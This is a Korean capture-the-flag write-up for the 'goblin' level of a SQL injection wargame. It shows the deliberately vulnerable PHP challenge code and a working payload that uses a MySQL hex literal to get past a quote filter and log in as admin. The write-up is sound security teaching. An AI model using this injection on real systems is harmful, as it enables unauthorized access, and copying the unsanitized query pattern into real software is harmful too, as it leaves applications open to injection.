문제 코드
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");
if(preg_match('/\'|\"|\`/i', $_GET[no])) exit("No Quotes ~_~");
$query = "select id from prob_goblin where id='guest' and no={$_GET[no]}";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("goblin");
highlight_file(__FILE__);
?>id는 guest로 고정되어 있고 입력 가능한 값은 no뿐입니다. 또한 따옴표가 필터링되어서 id='admin'처럼 문자열을 직접 만들 수 없습니다.
exploit
?no=0 or id=0x61646d696eURL 인코딩까지 적용하면 다음처럼 보낼 수 있습니다.
?no=0%20or%20id=0x61646d696e최종 쿼리는 아래와 같은 형태가 됩니다.
select id from prob_goblin where id='guest' and no=0 or id=0x61646d696e0x61646d696e은 admin을 16진수로 표현한 값입니다. MySQL에서는 문자열 비교에서 16진수 리터럴을 문자열처럼 사용할 수 있으므로 따옴표 없이 admin을 표현할 수 있습니다.
배운 내용
- 따옴표가 막혀도 MySQL의 hex literal을 이용해 문자열을 표현할 수 있습니다.
and가or보다 우선순위가 높기 때문에 쿼리는(id='guest' and no=0) or id='admin'처럼 동작합니다.- 필터가 막는 문자 자체보다, SQL에서 같은 의미를 만드는 다른 표현을 찾는 것이 중요합니다.